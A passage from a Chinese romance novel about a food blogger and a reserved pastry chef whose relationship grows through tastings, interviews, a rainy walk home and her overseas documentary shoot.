"等等!"温晚叫住他,"不用了,真的。这款已经很完美了。"她顿了顿,"不过...如果你不介意,我想了解更多你的创作理念。也许...我们可以做个专访?" 周予白的手指停在了半空。专访?面对面?单独?他的大脑瞬间闪过一百种可能发生的尴尬场景。 "我..." "他当然愿意!" 一个陌生男声插了进来。一个穿着时尚、头发挑染蓝色的年轻男子不知何时出现在了店里,手里拿着两杯咖啡。 "我是徐睿,这家店的合伙人兼周师傅的大学同学。"他热情地握住温晚的手,"我们很乐意接受''味觉漫步''的专访。" 周予白瞪了他一眼,徐睿却假装没看见,继续滔滔不绝:"周师傅平时不爱说话,但他的甜点会说话。你们一定会是绝佳组合——他负责甜,你负责解读。" 温晚被逗笑了:"那就这么定了?"她看向周予白。 周予白深吸一口气,点了点头。当温晚对他微笑时,他感觉胸口有什么东西轻轻化开了,就像白巧克力遇到温热的蓝莓酱。 "铁树开花啊。"徐睿凑到他耳边用只有他能听到的声音说,换来一记肘击。 温晚没有注意到这个小插曲,她正忙着给"阅读时光"拍照。阳光透过窗户洒在甜点上,也洒在她的侧脸上。周予白站在一旁,突然觉得,也许忘放糖并不是什么坏事。 毕竟,有些甜蜜,不需要额外的糖分。 "再靠近一点,对,就是这样。"温晚调整着相机焦距,示意周予白将手中的甜点托盘微微倾斜,"我想拍出酱汁流动的瞬间。" 周予白的手指不易察觉地颤抖着。这是他们约定的专访日,温晚带着全套设备来到"Lumière"的后厨,准备记录一款新甜品的制作过程。从她踏入厨房那一刻起,他的大脑就像被打发的蛋白一样充满气泡,无法思考。 "放松,你平时怎么做就怎么做。"温晚从取景器后抬起头,对他笑了笑,"把我当成空气就好。" 周予白点点头,深吸一口气。他面前的工作台上摆放着今天要展示的甜品——"柠檬云",一款融合了柠檬凝乳、薰衣草蜂蜜和意式蛋白霜的创意甜点。这是他特意为温晚设计的,因为她在某期视频中提到过喜欢"能让人想起夏天的味道"。 "开始吧。"温晚按下录制键,相机发出轻微的"滴"声。 周予白修长的手指拿起柠檬,银色的削皮刀在他手中灵活转动,黄色的柠檬皮如丝带般垂落。温晚不自觉地屏住呼吸——他的动作如此精准优雅,像是钢琴家在演奏一首熟悉的乐曲。 "柠檬皮只用最外层的黄色部分,"周予白轻声解释,声音比平时工作时略大一些,"白色的髓会带来苦味。" 温晚点点头,镜头紧跟着他的双手。这双手确实值得特写——指节分明,手腕有力,指甲修剪得干净整齐,右手食指上有一道细小的疤痕,像是被刀具划伤的痕迹。 "接下来是柠檬凝乳的制作。"周予白将蛋黄、糖和柠檬汁倒入不锈钢碗中,动作流畅,"关键在于温度控制,太高会结块,太低无法浓稠。" 温晚调整站位,想要捕捉更佳角度。她后退时没注意到身后的器材架,肩膀不小心碰到了支架。 "小心!" 周予白的反应快得惊人。在架子倒下的瞬间,他一个箭步冲上前,左手护住温晚,右手稳稳接住了即将落地的甜品。金属支架擦过他的手臂,在白衬衫上划开一道口子。 "天啊!"温晚惊呼,相机垂挂在脖子上晃荡,"你没事吧?" 周予白摇摇头,先检查了甜品是否完好,然后才看向自己的手臂。衬衫袖子被划破了,隐约可见一道血痕。 "我没事。"他说,声音依然平静,"甜点也没事。" 温晚不由分说地抓住他的手腕:"让我看看。"她轻轻卷起他的袖子,露出那道约五厘米长的划痕,不算深,但已经渗出血珠。更引人注目的是,他的前臂上散布着几处圆形的浅色疤痕,明显是旧伤。 "你经常受伤?"温晚忍不住问,手指轻触那些疤痕。 周予白下意识想抽回手,又忍住了。"烫伤而已,职业勋章。"他试图用玩笑带过,但耳尖已经红了。 温晚从包里拿出随身携带的小型急救包:"至少让我帮你处理一下这个新伤口。" 周予白没有拒绝。他安静地站着,看着温晚熟练地用消毒湿巾清洁伤口,然后贴上创可贴。她的手指温暖而轻柔,碰到他皮肤时像羽毛拂过。他闻到她发间淡淡的茉莉香气,混合着厨房里柠檬的清新,构成一种令人眩晕的气息。 "好了。"温晚松开他的手,却没有立即后退,"那些烫伤...一定很疼吧?" 周予白垂下眼睛:"刚开始学甜点时不懂事,总想用手直接测试糖浆温度。"他顿了顿,"后来才知道,糖浆在120度时就能把皮肤烫熟。" 温晚倒吸一口冷气:"为什么要用手试?" "当时..."周予白的声音更低了,"觉得温度计不够准确。" 温晚注视着他低垂的睫毛,突然明白了什么:"你是完美主义者。" 周予白抬起头,对上她的眼睛。琥珀色的眸子在厨房灯光下显得格外清澈。他没想到她能这么轻易看透他。 "我们继续拍摄?"他轻声问,转移了话题。 温晚点点头,但没有立刻拿起相机。她拿起那块被救下的甜点,挖了一勺送入口中。柠檬的酸甜立刻在舌尖绽放,随后是薰衣草的淡雅香气,最后蛋白霜的轻盈口感如同云朵般融化。 "这..."她睁大眼睛,"太美妙了。像是...夏日的午后躺在草地上看云的感觉。" 周予白的嘴角微微上扬:"正是我想表达的。" "你知道吗?"温晚放下勺子,"我一直在思考,真正优秀的甜点应该是什么样子。不只是味道好,还要能唤起某种情感或记忆。" "像是讲故事。"周予白接话,"用味道而非文字。" 温晚惊讶地看着他:"就是这个!我一直在找的词——''味觉叙事''。"她激动地抓住他的手臂,又迅速松开,"抱歉,我太兴奋了。" "没关系。"周予白的声音里带着罕见的轻快,"我...也是这么想的。" 接下来的拍摄异常顺利。周予白不再紧张,温晚也不再只是专业地记录。他们聊起各自对美食的理解,发现理念惊人地一致——都认为甜点不应该只是甜腻的堆砌,而应该平衡、有层次、能唤起情感共鸣。 "最后一个镜头,"温晚调整相机,"能请你对着镜头总结一下这款甜点的灵感来源吗?" 周予白面对镜头,声音平稳:"''柠檬云''的灵感来自...夏天最美好的记忆。"他没有说,这个记忆其实是两年前看到温晚在一期视频中描述她最喜欢的夏日场景——躺在草地上,看着云朵慢慢飘过。 "完美!"温晚关掉相机,脸上是掩不住的笑意,"这期内容一定会很棒。你的表达很打动人。" 周予白低头整理工具,掩饰脸上的热度:"谢谢。" 拍摄结束后,温晚帮忙清理场地。当她弯腰捡起一片掉落的柠檬皮时,胃部突然发出一声抗议的咕噜声。她最近工作太忙,经常忘记按时吃饭。 周予白听到了,但没有说破。他默默从冰箱里取出一个小盒子:"给你准备的。" 温晚接过盒子,打开后发现是一个精致的柠檬塔,比她平时在店里看到的小巧许多,表面点缀着可食用的小花和蜂蜜珍珠。 "这是..." "样品,"周予白迅速解释,"多做的。你...可以尝尝味道。" 温晚其实最近食欲不佳,医生说是压力导致的消化不良。但面对这个可爱的小甜点,她突然感到一阵久违的饥饿感。她咬了一口,酥脆的塔皮和丝滑的柠檬馅完美融合,蜂蜜珍珠在齿间爆开,甜而不腻。 "太好吃了。"她由衷赞叹,几口就吃完了整个小塔,"最近我什么都吃不下,但这个...不一样。" 周予白眼中闪过一丝笑意:"柠檬开胃。" 温晚注意到盒子里还有一张小卡片,她拿出来一看,上面写着一行字:「给最懂得甜的人」。 她的手指微微颤抖。这句话太熟悉了——两年前,她在一次甜品展的报道中写过:"真正的甜点师,是在寻找那些最懂得甜的人。"那篇博文阅读量很低,几乎没人评论。 "这是..."她抬头看向周予白。 周予白已经转过身去整理工具,肩膀线条略显僵硬:"随便写的。" 温晚将卡片小心地放回包里,没有追问。但她的心跳加快了,一种奇妙的预感在心头盘旋。 离开前,周予白送她到店门口。傍晚的阳光将两人的影子拉得很长,重叠在一起。 "下周..."周予白犹豫了一下,"我们会上新一款甜点,如果你有兴趣..." "我一定来。"温晚不假思索地回答,然后为自己的急切感到一丝尴尬,"我是说...为了专栏。" 周予白点点头,嘴角微微上扬:"周三下午。" "周三下午。"温晚重复道,挥手告别。 走在回家的路上,温晚忍不住又拿出那张卡片看了又看。"给最懂得甜的人"。她想起周予白说这句话时躲闪的眼神,想起他手臂上的疤痕,想起他冲过来保护她和甜点时的毫不犹豫。 "''味觉前沿''又发了一篇。"林妙把平板推到温晚面前,屏幕上显示着一篇标题刺眼的文章:《美食测评还是商业吹捧?论某些博主的双标评分》。 温晚的咖啡杯停在半空,眉头皱了起来。文章虽然没有直接点名,但引用的评分对比图全是她的专栏内容,特别是对"Lumière"的那篇高度评价。 "他们甚至没尝过周予白的甜点。"温晚放下杯子,手指敲击着桌面。 林妙耸耸肩:"读者又不知道。他们只看到你给''Lumière''的创意打了五星,给''甜心坊''的同类型甜点只打了三星。" 温晚深吸一口气。三年来,她建立的专业口碑是她最珍视的东西。"准备设备,今天下午我们再去一趟''Lumière''。" "又要见你的甜点师小哥哥了?"林妙促狭地眨眨眼。 "不是''我的''甜点师,"温晚耳根发热,"而且这次要更严格。我要证明我的评价绝对客观。" 下午三点,"Lumière"的顾客不多。温晚选了角落的位置,架好相机。周予白今天在后厨忙碌,还不知道她的到来。她特意没有提前通知,想要像普通顾客一样体验。 服务生认出了她:"温小姐,周师傅今天准备了一款实验性甜点,要试试吗?" 温晚点头:"就这个,另外请给我一杯黑咖啡。" 十分钟后,一款造型前卫的甜点被端上桌——透明的球形糖壳内包裹着深红色的慕斯,周围点缀着黑色的饼干碎和绿色的香草酱。看起来更像现代艺术品而非食物。 "这款叫''解构花园''。"服务生介绍道。 温晚谨慎地拍了几张照片,然后用小勺轻轻敲开糖壳。里面的慕斯质地异常轻盈,几乎像泡沫般在舌尖消失,留下浓郁的花香和莓果味。黑色的饼干碎带着微苦的可可味,绿色酱汁则是出乎意料的咸鲜风味。 她皱起眉头,又尝了一口。味道复杂而冲突,不能说不好吃,但各种元素似乎在互相打架而非和谐共处。 "怎么样?"林妙小声问。 温晚摇摇头,在评分表上勾选了三星:"创意大胆,但元素过于冲突,缺乏统一性。"她顿了顿,"糖壳太厚,敲开时碎片容易飞溅;慕斯过于轻盈,与饼干脆的质地反差太大;咸味酱汁与甜味主调不协调。" 林妙快速记录着,突然捅了捅温晚的手肘:"他在看你。" 温晚抬头,透过开放式厨房的玻璃,看到周予白正望向她的方向。当他们的视线相遇时,他迅速低下头去,继续装饰手中的甜点。但那一瞬间,温晚捕捉到了他眼中的期待——和随之而来的失落。 她的胃部突然揪紧了。这是她第一次给周予白的作品打出中评。 "我们应该打包带走,"她低声对林妙说,"今天不拍视频了。" 离开前,温晚回头看了一眼。周予白站在厨房中央,手里拿着裱花袋,却一动不动,像一尊静止的雕塑。 "他生气了?"林妙问。 温晚摇摇头:"不知道。"但她心里有个声音小声说:我希望他是。 后厨里,徐睿拿起温晚留下的评分卡,吹了声口哨:"三星半,对你来说可算滑铁卢了。" 周予白没有回应,只是更用力地揉搓着面团,指节因用力而发白。 "别装了,"徐睿靠在料理台上,"你不是在乎评分的人。去年美食杂志给你打两星你都无所谓。" "我没有..." "你在意的是她的看法。"徐睿一针见血,"铁树啊铁树,你这次是真的开花了。" 周予白放下面团,摘掉厨师帽,额前的碎发已经被汗水浸湿。"她是对的,"他最终说道,"那款甜点确实不协调。" 徐睿挑眉:"所以你不是生气,是沮丧?因为她不喜欢你的作品?" 周予白没有回答,但耳尖的红晕已经出卖了他。 两天后,温晚坐在工作室里剪辑视频。屏幕上定格着"解构花园"的特写镜头,她犹豫着要不要使用这段素材。 "今晚八点有直播!"林妙探头进来提醒,"粉丝问答环节,记得准备一下。" 温晚这才想起之前安排的直播活动。她关掉剪辑软件,开始整理粉丝提问。大多数问题都很常规——最喜欢的餐厅、最难吃的食物、如何保持身材又能尝遍美食...直到她翻到一个问题: "为什么对''Lumière''的主厨特别关注?" 她的手指停在键盘上。特别关注吗?她只是...欣赏他的才华而已。对,就是这样。 晚上八点,直播准时开始。温晚调整好摄像头,对着镜头微笑:"大家好,欢迎来到''味觉漫步''的直播问答..." 前半小时进行得很顺利,直到林妙突然举着一张纸条闯入镜头:"紧急!粉丝疯狂要求看''那个有神仙手的甜点师''!" 温晚一脸茫然:"什么神仙手?" "你上周直播准备时不小心拍到的,"林妙压低声音,"周予白做甜点的手部特写。片段被人截下来发到网上,已经转疯了。" 温晚这才想起,上次直播前她确实无意中将镜头对准过后厨方向几秒钟。她尴尬地向观众解释周予白不是表演艺人,不便随意出镜。 弹幕立刻炸开了锅: "就一只手!一只手也行!" "那双手简直是艺术品!" "博主行行好,我们就看一眼!" 温晚无奈,只好答应下次去"Lumière"时尝试拍摄一些制作过程。直播结束后,她立刻给周予白发信息解释情况并道歉。 周予白的回复简短而正式:「没关系,理解。」 这种客气反而让温晚心里不是滋味。他们之前的交流虽然不多,但至少有种默契的轻松感。现在这种公事公办的态度,像是倒退回了陌生人。 周三下午,温晚如约来到"Lumière"。这次店里异常热闹,几乎满座,而且大部分是年轻女性顾客,不少人频频往后厨方向张望。 "什么情况?"温晚小声问服务生。 "自从你的直播片段流传后,"服务生无奈地笑道,"每天都有很多客人专门来看周师傅的手。" 温晚哭笑不得。她架好设备,准备拍摄一些甜点制作过程作为对粉丝的交代。但整个下午,周予白都待在厨房最里侧,几乎没有露面,连甜点都是由助手端出来的。 "他不想见我?"温晚忍不住问徐睿。 徐睿耸耸肩:"他这几天都这样。不是针对你,只是...不习惯被关注。" 温晚点点头,但心里仍有一丝失落。她留下一个包装精美的笔记本作为礼物,里面是她整理的一些创意甜点构思,扉页上写着:"给最会讲故事的手"。 离开时,她回头望了一眼后厨。恍惚间,她似乎看到周予白的身影在门缝中一闪而过,但很快又消失了,就像他们之间刚刚萌芽又迅速冷却的微妙关系。 当晚,温晚收到一条短信:「谢谢笔记本。周六有新甜点,如果你有兴趣。——周予白」 简短的文字,却让温晚盯着手机屏幕看了很久。最终她回复:「一定到场。」 放下手机,她走到窗前。夜空中繁星点点,让她想起第一次在"Lumière"尝到的"雪夜星辰"——那个让她惊叹的白巧克力球,那个让她破例给出满分的甜点,那个让她开始注意到那个有着琥珀色眼睛的甜点师的作品。 也许,有些味道一旦尝过,就再也忘不掉。 周六下午,温晚站在"Lumière"门前,手指无意识地按压着右脸颊。牙疼已经持续了一周,昨晚突然加剧,像是有个小人在她牙龈里敲锣打鼓。医生说是智齿发炎,建议尽快拔除,但她硬是靠着止痛药撑过了这周的工作。 推开门,熟悉的甜香气息扑面而来。店里客人不多,温晚选了角落的位置,悄悄又吞了一片止痛药。 "温小姐。"服务生微笑着走过来,"周师傅说今天为您准备了特别款。" 温晚勉强扯出一个笑容。自从上次给出中评后,她与周予白之间的互动变得拘谨起来。这次答应来尝新品,多少带着些补偿心理。 服务生端上一个纯白色瓷盘,上面盛着一款造型简约的甜点——浅绿色的抹茶慕斯上点缀着几颗酒红色的树莓,旁边搭配一小撮金黄色的脆片。 "这款叫''青峦'',"服务生介绍,"主料是抹茶慕斯和树莓酱,甜味主要来自蜂蜜和枫糖浆,不含精制糖。" 温晚惊讶地抬头:"不含精制糖?" "周师傅特意说明的,"服务生压低声音,"说如果有美食博主问起,就说是为了测试新健康系列。" 温晚的指尖轻轻颤抖。她从未公开提过自己的牙疼问题,但周予白似乎就是从她最近几次品尝甜点时的细微表情中察觉到了什么。这款甜点简直是为她现在的状况量身定做的——不需要用力咀嚼,不会刺激牙龈,甜度温和。 她小心地尝了一口。抹茶的微苦与树莓的酸甜完美平衡,蜂蜜的温润甜味缓缓在口腔中扩散,没有白糖那种尖锐的刺激感。更妙的是,那金黄色脆片竟然是姜味,微微的辛辣感神奇地缓解了牙疼。 "怎么样?"一个低沉的声音从身后传来。 温晚转身,周予白站在她身后,厨师服洁白如新,但额前的黑发微微汗湿,像是匆忙从厨房赶出来的。他的目光落在她仍有些红肿的右脸上,又迅速移开。 "很好吃,"温晚真诚地说,"姜的加入很巧妙。" 周予白点点头,嘴角微微上扬:"姜有消炎作用。" 两人陷入短暂的沉默。温晚想问他怎么知道她牙疼,又觉得问出口反而尴尬。周予白则盯着她盘中的甜点,似乎在等待更专业的评价。 "这款...会加入常规菜单吗?"温晚最终问道。 "如果你觉得值得。"周予白的声音很轻,但字字清晰。 温晚重新审视这款甜点。从专业角度看,它打破了传统甜点的框架,用更健康的原料创造出不输传统甜点的味觉体验;从个人角度...它让她在疼痛中感受到被细心呵护的温暖。 "绝对值得,"她坚定地说,"现在健康饮食是大趋势,这款甜点正好满足了市场需求,而且..."她顿了顿,"味道真的很棒。" 周予白的眼睛亮了起来,像是夜空中突然被点亮的星辰。他刚要说什么,厨房里传来一阵急促的铃声。 "我的蛋糕..."他匆忙转身,又停下脚步,"如果你有兴趣...下周我们要开发新菜单,欢迎提供建议。" 温晚还没来得及回答,他已经消失在厨房门后。她低头看着盘中剩下的甜点,突然觉得牙疼似乎减轻了不少。 一周后,温晚如约参与了"Lumière"的新菜单研发。后厨里,周予白向她展示了几款原型甜点,徐睿则在一旁记录她的反馈。 "这款巧克力蛋糕的质地很特别,"温晚品尝着一小块深褐色的蛋糕,"中间这层是什么?" "海盐焦糖酱,"周予白回答,"但加入了少量黑胡椒。" 温晚惊讶地挑眉:"黑胡椒?" "为了提升巧克力的深度,"周予白解释道,"就像你在去年一篇关于香料甜点的文章里提到的..."他突然停住,像是说漏了嘴。 温晚眯起眼睛:"你读过我那篇文章?那篇阅读量还不到五千。" 周予白的耳尖以肉眼可见的速度变红:"我...研究过很多甜点相关的资料。" 徐睿在一旁发出可疑的咳嗽声,被周予白瞪了一眼。 接下来的几个小时里,三人讨论着各种可能的组合和创新。温晚发现周予白对食材特性的了解令人惊叹,而他对她提出的建议也总是认真考虑,不像某些成名厨师那样固执己见。 "试试这个,"周予白递给她一个小碗,里面盛着淡粉色的奶油,"新调的玫瑰奶油。" 温晚接过碗时,他们的手指短暂相触。一股微小的电流似乎从接触点蔓延开来,让她的心跳漏了一拍。她假装专注于品尝奶油,掩饰突然加速的呼吸。 "玫瑰香气很自然,"她评价道,"不是那种香精的假甜味。" "用真正的玫瑰花瓣浸泡的,"周予白说,站得离她近了些,"我注意到你在一次采访中说过讨厌人工香精..." 温晚抬头看他:"你到底看过多少我的内容?" 周予白僵住了,像是被抓住偷吃糖的小孩。就在这时,徐睿的手机铃声拯救了他。 "我得去接个供应商,"徐睿匆匆起身,"你们继续。" 徐睿离开后,厨房里只剩下他们两人。温晚突然注意到角落里有一个打开的文件夹,里面整齐地贴着剪报——全是她写的食评,最早的一张日期显示是三年前。 "那是..."她不由自主地走向文件夹。 周予白一个箭步冲上前,"啪"地合上文件夹:"只是...参考资料。" 温晚假装没认出那些剪报是自己的作品:"哦?我能看看吗?也许能提供些建议。" "不!"周予白的声音异常尖锐,随即又软下来,"我是说...没什么好看的。我们去尝尝新烤的杏仁饼?" 温晚跟着他走向烤箱,嘴角忍不住上扬。原来这位天才甜点师不仅认识她,还一直关注着她的工作。这个发现让她心里泛起一阵奇妙的温暖。 傍晚时分,研发告一段落。温晚收拾设备准备离开时,窗外突然电闪雷鸣,顷刻间下起了倾盆大雨。 "我没带伞,"温晚望着如注的雨幕皱眉,"叫个车吧。" "我送你,"周予白说,"我有伞。" 他们在店门口撑开一把黑色大伞。伞不算小,但要想两个人都不被淋湿,必须靠得很近。温晚能闻到周予白身上淡淡的香草和肉桂气息,混合着雨水的清新。 "往这边,"周予白指了个方向,"我的车停在..." 一阵狂风突然袭来,几乎要把伞吹翻。周予白本能地搂住温晚的肩膀,将她护在身侧。隔着薄薄的夏装,温晚能感受到他手掌的温度和力量。 "抱歉,"周予白立刻松开手,耳根通红,"风太大..." "没关系,"温晚低声说,心跳如擂鼓,"谢谢。" 他们就这样在雨中慢慢走着,时而因为风向变化而不得不贴近。有几次,周予白的手臂又环上她的肩膀,又迅速撤离,每次都伴随着一声紧张的"抱歉"。 温晚突然希望这段路再长一些,雨再大一些。 "到了,"周予白在一辆低调的灰色轿车前停下,"我先送你回家。" 车内干净整洁,散发着淡淡的柠檬清香。温晚系好安全带,报了自己的地址。雨点敲打在车窗上,形成一道水帘,将车内隔绝成一个私密的小世界。 "今天...很感谢你的建议,"周予白启动车子,眼睛盯着前方的路面,"特别是关于减少糖量的部分。" 温晚微笑:"应该是我谢谢你。那款''青峦''...帮了大忙。"她下意识摸了摸仍有些隐隐作痛的脸颊。 周予白飞快地瞥了她一眼:"牙疼好点了吗?" "你怎么..."温晚话到嘴边又咽了回去,"嗯,好多了。下周就去拔牙。" 车内再次陷入沉默,但这次不是尴尬的,而是一种舒适的静谧。雨声和引擎的嗡鸣交织在一起,像是一首轻柔的背景音乐。 到达温晚的公寓楼下时,雨已经小了很多。周予白绕到副驾驶为她开门,伞依然撑在两人头顶。 "谢谢送我回来,"温晚说,"也谢谢今天的...一切。" 周予白点点头,琥珀色的眼睛在路灯下显得格外温暖:"周三见?" "周三见。"温晚接过他递来的伞,他们的手指再次相触,这次谁都没有急着抽开。 上楼后,温晚站在窗前,看着周予白的车缓缓驶离。她的手机震动了一下,是林妙发来的消息:「怎么样?新菜单研发顺利吗?」 温晚回复:「很顺利。」停顿片刻,又补充道:「他收集了我所有的食评剪报。」 林妙立刻发来一连串尖叫表情:「我就知道!他绝对暗恋你!!」 温晚没有回复,只是将手机放在胸前,嘴角不自觉地上扬。窗外的雨已经停了,空气中弥漫着雨后特有的清新气息。她想起周予白搂住她肩膀时那一瞬间的温度,想起他在厨房里专注工作的侧脸,想起他耳尖泛红的样子。 也许,有些甜味不需要通过味蕾也能感受到。 邮件提示音响起时,温晚正在剪辑最新一期的"味觉漫步"。她瞥了一眼发件人——"Global Palate",国际知名的美食平台。手指悬在触控板上空停顿了两秒,才点开邮件。 「亲爱的温小姐: 我们诚挚邀请您参与《世界甜品地图》纪录片的拍摄,担任亚洲区主持人。拍摄周期为三个月,涉及日本、韩国、泰国和马来西亚...」 温晚的呼吸不自觉地加快。这是她梦寐以求的机会——国际曝光、专业认可、职业跃升。她应该立刻回复同意,应该兴奋地跳起来,应该马上打电话给林妙庆祝。 可她的手指却迟迟没有敲下回复。 窗外,夕阳将整个工作室染成琥珀色。温晚的目光落在墙上的一张照片上——那是上周在"Lumière"后厨拍的,周予白正专注地装饰一款甜点,侧脸线条在灯光下显得格外分明。 周三。每周三下午,她都会去"Lumière"。有时是为了工作,有时只是...为了看看他。 三个月意味着至少十二个周三见不到他。 温晚拿起手机,翻到与周予白的聊天记录。最近一条是昨天发的,他问她喜欢什么类型的茶,因为想尝试一款茶味甜点。简短的对话,却让她反复看了好几遍。 手机突然震动起来,林妙的名字跳了出来。 "看到邮件了吗?"林妙的声音因兴奋而高亢,"Global Palate!天啊!这比你那个甜点师小哥哥重要多了吧?" 温晚的拇指无意识地摩挲着手机边缘:"我...还在考虑。" "考虑什么?"林妙的声音充满难以置信,"这可是国际平台!你知道多少人挤破头想要这种机会吗?" "我知道,只是..."温晚的目光又飘向那张照片,"拍摄时间太长了。" 电话那头沉默了几秒。"温晚,"林妙的声音突然变得严肃,"你该不会是...喜欢上那个甜点师了吧?" 温晚感到一股热流涌上脸颊:"别胡说,我只是...习惯了现在的合作模式。" "哦~"林妙拖长音调,"所以每周三雷打不动地去''Lumière'',是为了''合作''?" "挂了。"温晚按下结束键,把发烫的手机扔到桌上。 她重新看向电脑屏幕,光标在回复框里闪烁。窗外,最后一缕阳光也消失了,城市亮起万家灯火。 周三下午,温晚比平时晚了一小时才到达"Lumière"。她站在店门前深吸一口气,推开门时风铃发出清脆的声响。 出乎意料的是,今天店里异常安静,一个顾客也没有。更奇怪的是,展示柜里空空如也,没有往常那些精致的甜点。 "抱歉,我们今天..."周予白从后厨走出来,看到是温晚时停住了,"你来了。" 他穿着简单的白衬衫和黑色休闲裤,没有穿厨师服。温晚注意到他的眼睛下方有淡淡的阴影,像是没睡好。 "店休吗?"温晚环顾四周,"我忘了看营业时间..." "不是。"周予白的声音有些沙哑,"我在试新品,暂停营业一天。"他顿了顿,"你...要尝尝吗?" 温晚点点头,跟着他走进后厨。厨房中央的工作台上摆着一款她从未见过的甜点——外形像是一个打开的行李箱,里面用不同颜色的奶油和果酱塑造出微型的世界地标,埃菲尔铁塔、富士山、双子塔... "这...太精致了。"温晚凑近观察,闻到淡淡的香草和肉桂气息,"叫什么名字?" "''远方''。"周予白的声音很轻,"昨晚做的。" 温晚惊讶地抬头:"你通宵了?" 周予白避开她的目光,只是递给她一个小勺子:"尝尝看。" 温晚挖了一角"行李箱"的边缘部分。口感出乎意料——外层是脆皮巧克力,里面却是柔软的咸蛋黄流心,咸甜交织的味道让人联想到离家时的复杂心情。 "这味道..."温晚又尝了一口,"很特别。像是...要去很远的地方,又舍不得离开。" 周予白的手停在半空,琥珀色的眼睛直视她:"你要走了?" 温晚的勺子"当啷"一声掉在盘子上:"你怎么知道?" "徐睿说的。"周予白低头整理工具,"Global Palate的邀约。恭喜。" "我还没决定。"温晚脱口而出。 周予白抬起头,眼中闪过一丝难以捉摸的情绪:"为什么?那是很好的机会。" "因为..."温晚的手指绞在一起,"因为..." 就在这时,她的手机响了。是Global Palate的制作人,希望尽快确认她的参与。通话结束后,厨房里的空气仿佛凝固了。 "你应该去。"周予白打破沉默,声音平静,"三个月很快。" 温晚注视着他的侧脸。她想问他会不会想她,想问他这款"远方"是不是为她而做,想问他为什么看起来和她一样难过。 但她什么都没问。 "尝尝这个部分。"周予白指向"行李箱"中的一个小小埃菲尔铁塔,"用了黑加仑和薄荷。" 温晚尝了一口,酸甜中带着清凉,像是夏日傍晚的一阵风。不知为何,这个味道让她想起第一次见到周予白时,他给她做的那款忘放糖的甜点。 "好吃吗?"周予白问。 温晚点点头,突然觉得喉咙发紧:"很好吃。" 他们沉默地分享完剩下的"远方",每一口都像是在倒计时。 离开前,周予白递给她一个精致的盒子:"给你的。路上吃。" 温晚接过盒子,指尖不小心碰到他的手。两人都像被烫到一样迅速缩回。 "谢谢。"温晚轻声说,"下周...我还会来的。" 周予白只是点点头,站在店门口目送她离开,身影在夕阳下显得格外修长而孤独。 回到家,温晚打开盒子,里面是一排小巧的马卡龙,每种颜色都不同。她拿起一个浅粉色的咬了一口,玫瑰的香气立刻充满口腔。盒子里还有一张纸条: 「世界各地的味道。祝你旅途愉快。——周予白」 温晚把纸条贴在胸口,闭上眼睛。三个月,她告诉自己,只是三个月而已。 两周后,温晚站在东京的一家传统和果子店前,镜头对准她正在介绍一款樱花大福。这是《世界甜品地图》的第三站拍摄,行程比她想象的更紧凑。 "这款大福的外皮柔软如初雪,"她对着镜头微笑,"里面的樱花馅料甜而不腻,带着淡淡的盐渍味道,让人想起春天的京都..." 拍摄结束后,制作人丽莎走过来:"温,你最近的表现很棒,特别是今天。那种怀念的表情很真实。" 温晚愣了一下:"怀念?" "当你尝那款大福时,"丽莎模仿着她的表情,"眼睛微微眯起,嘴角上扬但又带着一丝忧伤。像是...想起了什么人。" 温晚的心跳突然加速:"我只是...沉浸在味道中。" "无论如何,效果很好。"丽莎拍拍她的肩膀,"明天最后一场拍摄,保持这种状态。" 当晚,温晚躺在酒店床上,翻看着手机相册。她滑过无数张甜点照片,最后停在一张偷拍上——周予白低头装饰甜点的侧脸,睫毛在灯光下投下细小的阴影。 她想念他。这个认知让她胸口发紧。想念他做甜点时专注的表情,想念他耳尖泛红的样子,想念他笨拙地试图掩饰对她的关注。 第二天最后一场拍摄在东京塔附近的一家法式甜品店。主厨端出一款融合了日本抹茶和法国巧克力的创新甜点。 "这款甜点让我想起一个人,"温晚尝了一口,不自觉地脱口而出,"他也很擅长将不同文化元素融合..." 导演立刻示意摄像师推近镜头。温晚这才意识到自己说了什么,但为时已晚。 "完美!"导演喊停,"这种个人情感的流露正是我们需要的。他是谁?你的...?" "一个朋友。"温晚迅速回答,但脸上的热度出卖了她。 拍摄全部结束后,团队举行了小型庆祝会。温晚却悄悄溜出来,站在东京塔下,拨通了周予白的电话。响了五声,没人接。她正要挂断,电话突然通了。 "温晚?"周予白的声音透过话筒传来,带着些许杂音,却让她的心脏漏跳一拍。 "我...我只是想告诉你拍摄结束了。"温晚望着东京塔闪烁的灯光,"后天就回去。" 电话那头沉默了几秒:"这么快?" "提前完成了。"温晚咬了咬嘴唇,"你...还好吗?" "嗯。"周予白的声音轻柔下来,"新研发了一款甜点,等你回来尝。" "我很期待。"温晚微笑着说,尽管知道他看不见。 又是一阵沉默,但这次不是尴尬的,而是一种舒适的静谧,仿佛他们只是暂时按下了暂停键,很快就会继续上次未完成的对话。 "温晚,"周予白突然说,"我有件事要告诉你。" "什么事?" "等你回来再说。"他的声音里带着一丝温晚从未听过的紧张,"路上小心。" 挂断电话,温晚仰头望着东京的夜空。三个月前,她绝不会想到自己会站在异国他乡,因为一个甜点师的电话而心跳加速。 回到酒店,她发现徐睿发来一条消息:「你家甜点师小哥哥要去巴黎参展了!国际甜点艺术展!不过这家伙居然在犹豫,说时间可能冲突。你知道怎么回事吗?」 温晚盯着屏幕,巴黎国际甜点艺术展——这是甜品界的奥斯卡,是周予白这样的甜点师梦寐以求的舞台。什么时间会冲突? 她查看了一下参展日期,血液瞬间凝固——正好是她回国的同一天。 温晚提前两天回了国。 飞机降落时,窗外正下着小雨,雨滴在舷窗上划出蜿蜒的水痕。她本应后天回来,但拍摄进度提前完成,她改了机票,想给周予白一个惊喜。三个月没见,她发现自己竟然有些紧张。 取行李时,手机震动起来。是徐睿的消息:「听说你今天回来?周予白那家伙紧张得要命,从早上就开始在后厨折腾。」 温晚嘴角不自觉地上扬。她回复:「别告诉他,我想给他个惊喜。」 打车直奔"Lumière",雨势渐大,车窗上的水幕让外面的世界变得模糊不清。温晚的心跳随着距离的缩短而加速,她不断想象周予白见到她时的表情——惊讶?高兴?还是那副惯常的平静模样,只有耳尖会悄悄变红? 车子在甜品店前停下。奇怪的是,虽然下着雨,但店门却大敞着,里面亮着灯却没有顾客。温晚付了车钱,冒雨跑到门口。 "周予白?"她推开门,风铃发出熟悉的清脆声响。 没有人应答。店里空荡荡的,展示柜里只有两款基础甜点,不像往常那样琳琅满目。后厨传来隐约的说话声,温晚轻手轻脚地走过去。 "...真的不能再延期吗?"是周予白的声音,比平时更加低沉。 "抱歉,周师傅。"一个女声回答,"这批原料的保质期就到下周,我们必须今天确定订单。" 